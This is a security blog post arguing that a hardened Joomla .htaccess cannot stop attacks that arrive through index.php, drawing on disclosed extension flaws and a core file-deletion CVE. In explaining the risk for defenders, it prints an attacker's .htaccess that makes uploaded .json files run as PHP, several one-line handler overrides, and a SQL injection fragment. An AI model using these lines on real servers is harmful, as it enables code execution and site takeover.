&lt;p&gt;As Teeman himself noted of the Windows equivalent on that very pull request, “As the web.config already has weaker settings than htaccess I would suggest that is considered in its own pr” - an open admission that the non-Apache half of Joomla’s own shipped hardening is weaker and, in his words, that he cannot test it. Every Joomla site on IIS, and every site fronted by Nginx or Cloudflare, gets a different and lesser version of this protection, or none of it. A default lock that works one way if your house was built by Apache, a weaker way if it was built by IIS, and not at all if it was built by Nginx or Caddy, is a coin toss decided by a hosting choice your site owner made years ago for unrelated reasons, not a default at all.&lt;/p&gt;
&lt;p&gt;And there is no parity across the web servers Joomla claims to support. The project hardens the Apache &lt;code&gt;.htaccess&lt;/code&gt; while, by its own admission, the &lt;code&gt;web.config&lt;/code&gt; it ships for IIS has weaker settings, and Nginx, Caddy and every other web server get nothing at all. Nor is there a word of guidance on the layer that now fronts a huge share of Joomla sites: how to correctly configure Cloudflare, which by itself sits in front of more than a fifth of the entire web, is left completely unaddressed, even though the edge is exactly where this kind of hardening actually belongs. A single release can therefore lock down the wrong things on Apache and, by pouring all its attention there, leave every non-Apache site with a wider relative attack surface and no equivalent protection. Hardening one server family while neglecting the rest is defence in one place rather than defence in depth.&lt;/p&gt;
&lt;h3&gt;It fixes nothing behind the doors that stay open&lt;/h3&gt;
&lt;p&gt;A default rule that blocks some entry points does absolutely nothing about the vulnerable code sitting behind the entry points that have to remain open. Joomla’s own &lt;code&gt;com_ajax&lt;/code&gt; is the clearest example: a general-purpose dispatcher, reached through &lt;code&gt;index.php&lt;/code&gt; by design, that any plugin or module can hook into, and one no entry-point whitelist can ever close because a large part of the front end depends on it. Several of the vulnerabilities we have disclosed rode straight through it: an &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;unauthenticated file write in JoomShaper’s Helix3&lt;/a&gt; and an &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;unauthenticated menu write that became stored XSS in Helix Ultimate&lt;/a&gt; were both reachable through &lt;code&gt;com_ajax&lt;/code&gt; with no token and no permission check at all. The whitelist has to leave that door open, so it does nothing for any of them. And nearly every exploit in the current surge arrives through the one entry point that can never be closed: &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;It gives novice users no safe way to change it&lt;/h3&gt;
&lt;p&gt;Even where the shipped rule is right, the people it reaches cannot safely adapt it, and that matters the moment their site needs it to behave even slightly differently. Editing a &lt;code&gt;.htaccess&lt;/code&gt; is not for the faint-hearted: it is regular-expression wizardry that even seasoned web developers get wrong, and a single mistaken character does not degrade gracefully, it returns a &lt;code&gt;500 Internal Server Error&lt;/code&gt; for the entire site. Akeeba’s Admin Tools Professional solved exactly this years ago with its &lt;code&gt;.htaccess&lt;/code&gt; Maker, a checkbox interface that lets a non-expert choose behaviours instead of hand-writing PCRE. There is no proposal to give the core Joomla administrator anything like it. So a site owner who needs to allow one legitimate extension, or unblock one path the default blocked, is given a file of raw regex and left to edit it by hand, which is how these files end up either breaking the site or being deleted wholesale in frustration.&lt;/p&gt;
&lt;h2&gt;A hardened .htaccess protects less than you think&lt;/h2&gt;
&lt;p&gt;Here is the uncomfortable mechanic that the whole argument rests on. Almost every serious Joomla vulnerability of the last few years, SQL injection, unauthenticated file upload leading to remote code execution, arbitrary file read, arbitrary file deletion, is exploited through a normal, approved request to &lt;code&gt;index.php&lt;/code&gt;. Put bluntly: &lt;strong&gt;many of the recent Joomla vulnerabilities walk straight in through that whitelisted front door&lt;/strong&gt;, the one door every hardening scheme is forced to leave open. It is the main Joomla entry point, the front controller that every legitimate page view already flows through. Your &lt;code&gt;.htaccess&lt;/code&gt; exists to route requests &lt;em&gt;to&lt;/em&gt; &lt;code&gt;index.php&lt;/code&gt;. Its central job, the SEF URL rewriting that makes &lt;code&gt;/about-us&lt;/code&gt; resolve to &lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=42&lt;/code&gt;, is to make sure requests reach that front controller. It cannot then protect you from an attack that arrives as a perfectly ordinary request to the one endpoint it is built to feed.&lt;/p&gt;
&lt;p&gt;Think about what a &lt;code&gt;.htaccess&lt;/code&gt; can actually see and act on. It works at the level of the request line and headers: the path, the query string, the method, the user-agent, the referrer. It has no idea what the PHP behind that request is going to &lt;em&gt;do&lt;/em&gt; with those values. A gallery component, a forms extension, a page builder, any of them can contain a flaw that an attacker triggers with a request that is, at the HTTP level, indistinguishable from legitimate traffic. The rewrite rules wave it through, because at the layer where &lt;code&gt;.htaccess&lt;/code&gt; operates there is nothing wrong with it. The vulnerable PHP runs. No &lt;code&gt;.htaccess&lt;/code&gt; rule was ever going to sit in the way, because the request never looked wrong at the only layer &lt;code&gt;.htaccess&lt;/code&gt; can inspect.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: what a .htaccess can and cannot see&lt;/p&gt;&lt;p&gt;Joomla’s SEF rewriting is the block that ends with &lt;code&gt;RewriteRule (.*) index.php [L]&lt;/code&gt;. Every pretty URL, say &lt;code&gt;/blog/my-article&lt;/code&gt;, is rewritten to &lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=42&lt;/code&gt; and passed to Joomla’s front controller. The &lt;code&gt;.htaccess&lt;/code&gt; operates entirely on the request line and headers: the method, the path, the query string, the user-agent, the referrer. It never sees, and by design cannot see, which component the router will dispatch to, which &lt;code&gt;task&lt;/code&gt; will run, whether the code casts &lt;code&gt;id&lt;/code&gt; to an integer before it hits the database, or whether the extension calls &lt;code&gt;authorise()&lt;/code&gt; before it writes a file.&lt;/p&gt;&lt;p&gt;By the time any of those decisions are made, the request is already several stack frames deep inside PHP, well past the layer the &lt;code&gt;.htaccess&lt;/code&gt; controls. Trying to filter the attack at the &lt;code&gt;.htaccess&lt;/code&gt; means guessing, from the request line alone, what the PHP a dozen frames later is going to do wrong. You cannot pattern-match your way to that from the outside.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;This is a common, real pattern, the same one behind &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;attacks that ride in through the CMS’s own AJAX and API endpoints&lt;/a&gt;, where a component verifies a CSRF token but never checks who is calling or whether they are allowed to. It is why a &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;single POST to an approved SP Page Builder endpoint could drop a live web shell&lt;/a&gt;, returning a clean 200, immediately followed by a request to the planted PHP file. The perimeter was never breached. Nothing was forced. The attacker used the door, held open by design, that your &lt;code&gt;.htaccess&lt;/code&gt; exists to keep open.&lt;/p&gt;
&lt;h2&gt;How do Joomla attacks get past your .htaccess?&lt;/h2&gt;
&lt;p&gt;They do not get &lt;em&gt;past&lt;/em&gt; it. They go &lt;em&gt;through&lt;/em&gt; it, using the exact route it is built to permit. It is worth walking through the two most common Joomla compromise patterns in detail, because once you see the mechanics you stop believing a rewrite rule could have helped.&lt;/p&gt;
&lt;h3&gt;Unauthenticated file upload to remote code execution&lt;/h3&gt;
&lt;p&gt;A front-end task in a vulnerable extension accepts a file it should have rejected, or writes it to a folder it should never have written to. The request is something like &lt;code&gt;index.php?option=com_vulnerable&amp;amp;task=upload&lt;/code&gt;, a POST with a multipart body. &lt;a href=&quot;https://mysites.guru/blog/joomgallery-unauthenticated-file-upload/&quot;&gt;JoomGallery 4.0.0 to 4.4.1&lt;/a&gt; is a textbook instance: the task is &lt;code&gt;userupload.tusupload&lt;/code&gt;, the destination is the Joomla temp directory, and no &lt;code&gt;.htaccess&lt;/code&gt; rule distinguishes that POST from any other request to &lt;code&gt;index.php&lt;/code&gt;. To your &lt;code&gt;.htaccess&lt;/code&gt; this is a request to &lt;code&gt;index.php&lt;/code&gt; with a query string and a file attached, which is exactly what a legitimate contact-form submission or media upload looks like. It passes it on without hesitation. The extension then writes an attacker-controlled &lt;code&gt;.php&lt;/code&gt; file into a web-served directory, and the attacker requests it. Now they have code execution on your server. We have documented this precise class over and over: the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE profile-upload attack that walked in through a legitimate editor endpoint&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;fully unauthenticated remote code execution straight through the com_ajax endpoint in the Novarain Framework&lt;/a&gt;, where six weeks after the patch nearly half the affected sites in our data were still exposed. In none of these did a &lt;code&gt;.htaccess&lt;/code&gt; rule have any part to play, because the malicious request was, byte for byte at the HTTP layer, an ordinary one.&lt;/p&gt;
&lt;h3&gt;SQL injection&lt;/h3&gt;
&lt;p&gt;A parameter that should be an integer, an article ID, a category filter, a sort order, is concatenated raw into a database query instead of being bound or cast. The attacker sends their payload as a value on a normal page URL: &lt;code&gt;index.php?option=com_something&amp;amp;id=1 UNION SELECT ...&lt;/code&gt;. There is no &lt;code&gt;.htaccess&lt;/code&gt; rule on earth that can reliably tell a malicious &lt;code&gt;id&lt;/code&gt; value from a legitimate one, because both are just text in the query string of a request to &lt;code&gt;index.php&lt;/code&gt;. You could try to blocklist SQL keywords, and people do, and it is the same losing game we will come to below: attackers encode, comment-split, and case-vary their way around any keyword list you invent, while your rule starts throwing 403s at legitimate searches that happen to contain the word “select” or “union” or an apostrophe.&lt;/p&gt;
&lt;h3&gt;Unauthenticated data exposure through a broken access check&lt;/h3&gt;
&lt;p&gt;Not every compromise ends in code execution. Some just hand over data that should have stayed private, and a &lt;code&gt;.htaccess&lt;/code&gt; is even more useless against these because there is not even a stray file to block. We recently found an &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;invoice download in Events Booking that returned any registrant’s invoice to an anonymous visitor&lt;/a&gt;: full name, postal address, email and the amount they paid, chosen by a sequential ID number in the URL. The request is an ordinary GET to &lt;code&gt;index.php&lt;/code&gt;, indistinguishable at the HTTP layer from an actual attendee fetching their own receipt. Your &lt;code&gt;.htaccess&lt;/code&gt; looks at it, sees a normal request to &lt;code&gt;index.php&lt;/code&gt;, the one file it is built to whitelist so Joomla can run at all, and waves it straight through. There is no upload to inspect, no &lt;code&gt;.php&lt;/code&gt; file to deny, no SQL keyword to match, nothing for a rule to grab hold of. An attacker just counts the ID up from one and collects every invoice on the site. A hardened &lt;code&gt;.htaccess&lt;/code&gt; would not have stopped a single one of those downloads, because the whole attack rode in through the exact front door the file exists to hold open.&lt;/p&gt;
&lt;p&gt;When we went back over &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a full month of Joomla security disclosures&lt;/a&gt;, nearly every one shared a single root cause: a public endpoint that trusts anonymous input. A firewall or a hardened &lt;code&gt;.htaccess&lt;/code&gt; can, at the very best, stop an already-uploaded PHP file from &lt;em&gt;executing&lt;/em&gt; in an uploads folder, which is worth having as one layer. Neither one fixes the underlying bug, and neither one stops the request that triggers it. The vulnerability is in the code the request reaches, not in the route it took to get there.&lt;/p&gt;
&lt;h2&gt;What if an attacker can delete or overwrite your Joomla .htaccess?&lt;/h2&gt;
&lt;p&gt;Now it gets worse, because a &lt;code&gt;.htaccess&lt;/code&gt; is just a file, not a wall. Files can be deleted. Files can be overwritten. And plenty of vulnerabilities let an attacker do exactly one of those things.&lt;/p&gt;
&lt;p&gt;An arbitrary-file-deletion bug removes your &lt;code&gt;.htaccess&lt;/code&gt; in the time it takes to send one request, and takes every protective rule in it with it - like the one I recently reported, responsibly, in Joomla core’s own updater, and which the project fixed. Go figure: the same project now proposing to lean harder on the &lt;code&gt;.htaccess&lt;/code&gt; had a flaw that could have deleted that very file. (More on that shortly.) From that moment the folder it was guarding is wide open, and the deletion may not even be noticed for weeks. An upload-anywhere bug is arguably worse, because the attacker does not need to delete anything: they write a new &lt;code&gt;.htaccess&lt;/code&gt; of their own, straight over the top of yours. That replacement can do anything Apache allows. It can re-enable PHP execution in your uploads directory with a single &lt;code&gt;AddHandler&lt;/code&gt; or &lt;code&gt;php_flag engine on&lt;/code&gt; line, turning a folder of harmless images into a place their shell will run. It can add a &lt;code&gt;RewriteRule&lt;/code&gt; that cloaks your site, showing Googlebot spam and showing you a clean page. It can 301-redirect every visitor to a phishing or malware network while your homepage still looks fine to you. The file you trusted to protect the folder becomes the mechanism that betrays it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: how a planted .htaccess turns images into code&lt;/p&gt;&lt;p&gt;An attacker who can write a &lt;code&gt;.htaccess&lt;/code&gt; into a folder does not need to touch your server’s PHP handler configuration at all. One line does it: &lt;code&gt;AddType application/x-httpd-php .jpg&lt;/code&gt;, or &lt;code&gt;AddHandler application/x-httpd-php .gif&lt;/code&gt;, or &lt;code&gt;SetHandler application/x-httpd-php&lt;/code&gt;, or on some stacks &lt;code&gt;php_flag engine on&lt;/code&gt;. Any one of those tells Apache to run every matching file in that directory through the PHP interpreter, so the &lt;code&gt;holiday.jpg&lt;/code&gt; they uploaded through your vulnerable contact form is now live, executable code.&lt;/p&gt;&lt;p&gt;This is exactly why the one useful hardening rule for an uploads folder is a &lt;code&gt;.htaccess&lt;/code&gt; that &lt;em&gt;denies&lt;/em&gt; PHP execution there, and exactly why an upload-anywhere bug that lets the attacker overwrite that rule with their own is the whole game. The defence and the weapon are the same file, and the attacker only needs to win the race for it once.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;This is not hypothetical. Take the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt;, an unauthenticated file upload that lets a guest write files into a Joomla site. On a site that has done the “recommended” hardening, direct execution of &lt;code&gt;.php&lt;/code&gt; is denied, so a plain &lt;code&gt;shell.php&lt;/code&gt; upload would only ever return a 403. The attacker knows this, so they do not upload &lt;code&gt;.php&lt;/code&gt; at all. They write their payload as a &lt;code&gt;.json&lt;/code&gt; file, which slips past both the filename filter and the &lt;code&gt;.php&lt;/code&gt; deny rule, and they drop a &lt;code&gt;.htaccess&lt;/code&gt; beside it that teaches Apache to run every &lt;code&gt;.json&lt;/code&gt; file in that folder through the PHP interpreter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;AddType&lt;/span&gt;&lt;span&gt; application/x-httpd-php .json&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;AddHandler&lt;/span&gt;&lt;span&gt; application/x-httpd-php .json&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;FilesMatch &lt;/span&gt;&lt;span&gt;&quot;\.json$&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    SetHandler&lt;/span&gt;&lt;span&gt; application/x-httpd-php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now &lt;code&gt;payload.json&lt;/code&gt; is not data any more, it is executable code, and it runs on the very next request. The carefully written rule that denied &lt;code&gt;.php&lt;/code&gt; was never in the fight, because the attacker simply chose an extension it never named. &lt;code&gt;.json&lt;/code&gt; looks like configuration, like a language file, like something no security guide ever thought to block, and that is precisely why it was picked. You guarded one door; they walked through the one beside it and relabelled it on the way in.&lt;/p&gt;
&lt;p&gt;There is a subtler and more damning version of this, and it needs no upload-anywhere bug and no deletion primitive at all. Your protective rule and the attacker’s &lt;code&gt;.htaccess&lt;/code&gt; use the exact same mechanism, and Apache always hands the win to whichever one sits &lt;em&gt;deeper&lt;/em&gt; in the tree. Apache assembles the &lt;code&gt;.htaccess&lt;/code&gt; rules for a request by walking from your document root down to the folder holding the file, applying each in turn, so the most specific, deepest file has the final word. Your “no PHP in &lt;code&gt;/images/&lt;/code&gt;” rule lives in the root, one or more levels up. The attacker is writing &lt;em&gt;into&lt;/em&gt; &lt;code&gt;/images/&lt;/code&gt;, the very folder your vulnerable form let them reach. They drop a one-line &lt;code&gt;.htaccess&lt;/code&gt; beside their uploaded file that re-enables execution, and because their file is deeper than yours, it overrides yours for that folder. Your root rule is never touched. It is simply out-nested. Put a lock on the fridge and I will drill through the back of it, take a beer, and fit my own lock to the hole I made. Yours is still there. Still shiny, still locked, still on the front of a fridge I am no longer using the front of.&lt;/p&gt;
&lt;p&gt;The symmetry is the whole trap. The &lt;code&gt;AllowOverride&lt;/code&gt; setting that lets &lt;em&gt;your&lt;/em&gt; &lt;code&gt;.htaccess&lt;/code&gt; deny PHP in that folder is the identical setting that lets &lt;em&gt;their&lt;/em&gt; &lt;code&gt;.htaccess&lt;/code&gt; allow it straight back. It is one switch, set in the server config for the entire tree, and you cannot have it on for your deny rule and off for their allow rule. The only version of this block a dropped &lt;code&gt;.htaccess&lt;/code&gt; cannot reverse is one written at the server layer: &lt;code&gt;php_admin_flag engine off&lt;/code&gt; in a &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block, which &lt;code&gt;.htaccess&lt;/code&gt; is expressly forbidden from countermanding, or &lt;code&gt;AllowOverride None&lt;/code&gt; on that path so the attacker’s file is never read at all. Which is to say, once again, that the only real protection lives at the layer the root-&lt;code&gt;.htaccess&lt;/code&gt; hardening guide, and the shared-hosting user pasting it in, cannot reach.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: the deepest .htaccess wins&lt;/p&gt;&lt;p&gt;When several &lt;code&gt;.htaccess&lt;/code&gt; files apply to one request, Apache does not pick one, it merges them from the document root down to the requested file’s directory and applies the deepest one last. A root rule such as &lt;code&gt;&amp;lt;FilesMatch “.php$”&amp;gt; Require all denied &amp;lt;/FilesMatch&amp;gt;&lt;/code&gt; guarding &lt;code&gt;/images/&lt;/code&gt; is therefore overridden by a &lt;code&gt;&amp;lt;FilesMatch “.php$”&amp;gt; Require all granted &amp;lt;/FilesMatch&amp;gt;&lt;/code&gt; an attacker drops inside &lt;code&gt;/images/&lt;/code&gt;, because Apache’s default &lt;code&gt;AuthMerging Off&lt;/code&gt; uses only the closest context’s authorization directives, and the attacker’s context is closer. The same holds for &lt;code&gt;php_flag engine on&lt;/code&gt; under mod_php, or an &lt;code&gt;AddHandler application/x-httpd-php .php&lt;/code&gt; / &lt;code&gt;SetHandler&lt;/code&gt; line that re-routes execution: the deeper file has the final say.&lt;/p&gt;&lt;p&gt;This block can only be made irreversible where a &lt;code&gt;.htaccess&lt;/code&gt; cannot reach or override it: &lt;code&gt;php_admin_flag engine off&lt;/code&gt; (forbidden in &lt;code&gt;.htaccess&lt;/code&gt;, honoured only from &lt;code&gt;httpd.conf&lt;/code&gt; or a vhost), or the deny placed in a server-config &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block with &lt;code&gt;AllowOverride None&lt;/code&gt; on that path, so no &lt;code&gt;.htaccess&lt;/code&gt; in the folder is read at all. Both are server-layer controls. An attacker standing in your uploads folder is always deeper in the tree than your root rule, and when Apache decides a contest by depth, the one writing into the leaf folder wins by default.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;I know this class of bug intimately, because I have reported it in Joomla core itself.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;CVE-2026-23898 - reported by Phil Taylor&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031.html&quot;&gt;CVE-2026-23898&lt;/a&gt; is a high-severity arbitrary file deletion vulnerability (CWE-73, CVSS 4.0 score 8.6) in &lt;code&gt;com_joomlaupdate&lt;/code&gt;, the component responsible for keeping Joomla up to date. A lack of input validation in the autoupdate server mechanism allowed deletion of files the PHP process can reach, not just Joomla files, anything the web server user has access to. It affected Joomla 4.0.0 through 5.4.3 and 6.0.0 through 6.0.3, and was fixed in 5.4.4 and 6.0.4.&lt;/p&gt;&lt;p&gt;The point for this article is blunt: the very file you rely on for hardening is one of the first an attacker with a deletion primitive would remove, and the component that could have deleted it was Joomla’s own updater. If your entire security posture is a file, your entire security posture is one file-deletion bug away from gone.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;So the defence you spent a careful afternoon perfecting can be undone in a single request by a bug in an extension you had forgotten was installed, or, as CVE-2026-23898 shows, by a bug in Joomla core. The lock is only ever as strong as the weakest extension’s ability to reach the door frame, and in a typical Joomla site with twenty or thirty third-party extensions, a great many of them can reach the door frame. Betting your security on the integrity of a file that dozens of code paths can write to or delete is not a strong position.&lt;/p&gt;
&lt;h2&gt;Would a stricter default .htaccess have stopped last month’s hacks?&lt;/h2&gt;
&lt;p&gt;No. Not one of them. I went back through every Joomla SQL injection and every unauthenticated upload-to-remote-code-execution flaw we confirmed in the last month, and a stricter default &lt;code&gt;.htaccess&lt;/code&gt;, the kind now being proposed, one that restricts entry points and whitelists a handful of locations, would not have prevented a single one. That is the direct consequence of the mechanic above, not a rhetorical flourish: those exploits all arrive as ordinary requests to &lt;code&gt;index.php&lt;/code&gt;, and &lt;code&gt;index.php&lt;/code&gt; is the one entry point any workable whitelist has to keep open. You would have been compromised on exactly the same day, in exactly the same way, with or without the extra rules.&lt;/p&gt;
&lt;p&gt;What a stricter &lt;code&gt;.htaccess&lt;/code&gt; changes is not &lt;em&gt;whether&lt;/em&gt; the intruder gets in, but what he finds once he is inside, and even that he routes around in seconds. Picture the break-in properly. He is already through the front door, because the SQL injection or the upload flaw let him walk in through &lt;code&gt;index.php&lt;/code&gt;. Now he wants to leave himself a web shell somewhere it will run. The media cupboard is bolted, the &lt;code&gt;tmp&lt;/code&gt; room is locked, a couple of the internal doors are shut, because your shiny default &lt;code&gt;.htaccess&lt;/code&gt; whitelisted three folders and denied the rest. So he does the digital equivalent of finding the downstairs toilet locked and simply relieving himself in the garage instead. He writes his shell into one of the many writable locations your three-folder whitelist never covered. Or he skips dropping a file altogether: he uses the same hole to add himself a Super User account, or to inject a malicious template override that Joomla itself will execute, and runs his code straight through the front controller. The locked internal doors did not stop him. They only decided which room he wrecked.&lt;/p&gt;
&lt;p&gt;And some of last month’s flaws do not even fit that picture, because nothing is ever dropped, executed or hidden. Take the &lt;a href=&quot;https://mysites.guru/blog/events-booking-invoice-idor/&quot;&gt;Events Booking invoice leak&lt;/a&gt; we disclosed. A stricter default &lt;code&gt;.htaccess&lt;/code&gt;, even the entry-point-restricting kind now being proposed, would have waved it straight through, because the whole attack is a single ordinary GET to &lt;code&gt;index.php&lt;/code&gt;, the one endpoint the rule is built to allow. There is no shell, no &lt;code&gt;.php&lt;/code&gt; file, no payload of any kind for a rule to catch. The attacker just increments the ID in the web address and the server hands back another registrant’s invoice: full name, postal address, email, and the amount they paid. So the strictest whitelist you can write still leaves the personal and financial data of every attendee readable by anyone on the internet, because reading it never looked like an attack in the first place. It looked exactly like a visitor collecting their own receipt.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Technical detail: what a whitelist of locations actually blocks&lt;/p&gt;&lt;p&gt;A restricted-entry-point &lt;code&gt;.htaccess&lt;/code&gt; typically does two things: rewrite unknown paths to &lt;code&gt;index.php&lt;/code&gt;, and deny direct execution of &lt;code&gt;.php&lt;/code&gt; files outside a small allow-list, using a &lt;code&gt;&amp;lt;FilesMatch&amp;gt;&lt;/code&gt; block or a &lt;code&gt;RewriteRule&lt;/code&gt; that 403s any &lt;code&gt;.php&lt;/code&gt; request that is not &lt;code&gt;index.php&lt;/code&gt;. That stops exactly one move: browsing directly to a shell at &lt;code&gt;/images/evil.php&lt;/code&gt;. It does nothing about the SQL injection, the upload flaw, the add-an-admin, the template-override injection, or the PHP object injection, because every one of those executes &lt;em&gt;through&lt;/em&gt; &lt;code&gt;index.php&lt;/code&gt;, which is allow-listed by necessity.&lt;/p&gt;&lt;p&gt;Nor does it stop a shell written into any directory the rule did not enumerate, and Joomla writes to far more than three folders: &lt;code&gt;tmp/&lt;/code&gt;, &lt;code&gt;cache/&lt;/code&gt;, &lt;code&gt;administrator/cache/&lt;/code&gt;, &lt;code&gt;logs/&lt;/code&gt;, per-extension upload paths, avatar directories, and more. Whitelisting &lt;code&gt;images&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt; and &lt;code&gt;files&lt;/code&gt; gives you three locked doors in a house full of open windows, and the attacker only has to notice one window.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;And “whitelist a few example locations” is more fragile than it sounds because Joomla and its extensions scatter writable, sometimes web-served, directories all over the tree. Why lock the fridge and leave the freezer standing open beside it? A default that only reasons about three of them hands users a powerful feeling of coverage that the filesystem does not back up. Worse, every legitimate extension that writes or serves from a non-whitelisted path now breaks with a bare 403 and no clue as to why, which is the definition of a silent breaking change. And a user who cannot read the &lt;code&gt;.htaccess&lt;/code&gt; well enough to add a precise exception has exactly one obvious fix when their gallery or forms extension stops working: delete the whole file. One broken feature, and every rule you shipped to protect them goes in the bin together.&lt;/p&gt;
&lt;p&gt;There is a further problem the whitelist creates instead of solving, and it follows directly from what it chooses to allow. The whole point of that allow-list is to permit images, PDFs and text files while blocking executables. But an attacker who can write those does not need code execution to get value out of your server. A file he can upload anonymously and have you serve from your own domain is free, hard-to-trace storage that points at you rather than at him: a malware payload, the images for someone else’s phishing page, a text file staged for the next step of an attack, all hosted by you, delivered under your reputation, and traced back to your IP. We have watched exactly this in the unauthenticated upload flaws we reported in &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/membership-pro-unauthenticated-file-upload/&quot;&gt;Membership Pro&lt;/a&gt;, where dropping a file was the foothold, not the finish. Whitelisting the “safe” extensions does not close that door, it blesses it: the folder is still a drop box, the file is still served, and your webspace is still doing an attacker’s storage for him.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The exception: when something did block one, it was not the .htaccess&lt;/p&gt;&lt;p&gt;In fairness, one of the vulnerabilities we disclosed was stopped on some sites before it ever reached the vulnerable code, so it is worth being precise about what stopped it. It was Admin Tools’ web application firewall catching the SQL injection payload at runtime, not the &lt;code&gt;.htaccess&lt;/code&gt; that the same product’s &lt;code&gt;.htaccess&lt;/code&gt; Maker generates. Those are two separate features that happen to ship inside one extension, and people conflate them constantly. The WAF is PHP, running inside the request, able to inspect parameter values after Joomla has parsed them, which is exactly the layer a &lt;code&gt;.htaccess&lt;/code&gt; cannot reach. Give the credit to the thing that earned it.&lt;/p&gt;&lt;p&gt;And even that is thinner than it looks, because it is a toggle. The SQLi filter sits on a settings screen, alongside other filters that occasionally throw a false positive on a legitimate request, and it is one click away from being switched off by an administrator who does not know what SQL injection is and only knows that turning that thing off made the complaint stop. A protection that depends on a checkbox no one understands staying ticked is not a protection you can count on. It also never fixed the vulnerable query sitting behind it, which is still there, still waiting, on every site where the box gets unticked.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Now for the part that should worry you, because it is how most of these break-ins actually finish. Your beautifully hardened live site does not live alone. It shares a hosting account, a filesystem, and very often a single PHP process, with every other site in that account. And one of those other sites is the dev copy you spun up on a subdomain two years ago, never updated, still running &lt;code&gt;test&lt;/code&gt; / &lt;code&gt;test&lt;/code&gt; as the Super User password because it was “only a test site”. The attacker does not pick a single one of your expensive new locks. He walks into the neighbour you forgot about, through the connecting door, and comes out inside your live site’s files. Your garage had an internal door into the kitchen, and you left the garage unlocked.&lt;/p&gt;
&lt;h2&gt;The weakest site in your webspace is the way in&lt;/h2&gt;
&lt;p&gt;Running many domains and many different applications, a Joomla site here, a couple of WordPress sites there, an old Drupal thing no one remembers installing, inside a single webspace is a serious mistake. Do not do it. The reason is simple. If an attacker compromises just one file, they can infect and reinfect every file and every site in that webspace, and in the worst case they can delete all of them. Hack one, hack all. This argument alone should end the “let’s just ship a stricter default &lt;code&gt;.htaccess&lt;/code&gt;” conversation, because it is a dominant real-world compromise path and a &lt;code&gt;.htaccess&lt;/code&gt; can do nothing about it.&lt;/p&gt;
&lt;p&gt;A quick definition, because the webspace is the unit that actually matters here and almost no one thinks in it. On a cPanel server, a &lt;em&gt;webspace&lt;/em&gt; is a single cPanel account together with its &lt;code&gt;public_html&lt;/code&gt; folder. Everything below that folder shares the same space, however many separate domains, subdomains and applications you have pointed at it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;./public_html/dev&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;./public_html/old&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;./public_html/new&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;./public_html/anotherdomain.com&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;./thisdomain.com&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;./subdomain.domain.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those are six folders belonging to one user, and that user is the one PHP runs as, not six sites in any sense the operating system recognises. They share a filesystem, and very often a single PHP-FPM pool. To the server there is no live site and no dev site, no Joomla and no WordPress, no client A and no client B. There are just folders, and they all belong to the same person. The &lt;code&gt;.htaccess&lt;/code&gt; on your best-defended site has no vote in any of this, because the file that gets compromised is not going to be on your best-defended site.&lt;/p&gt;
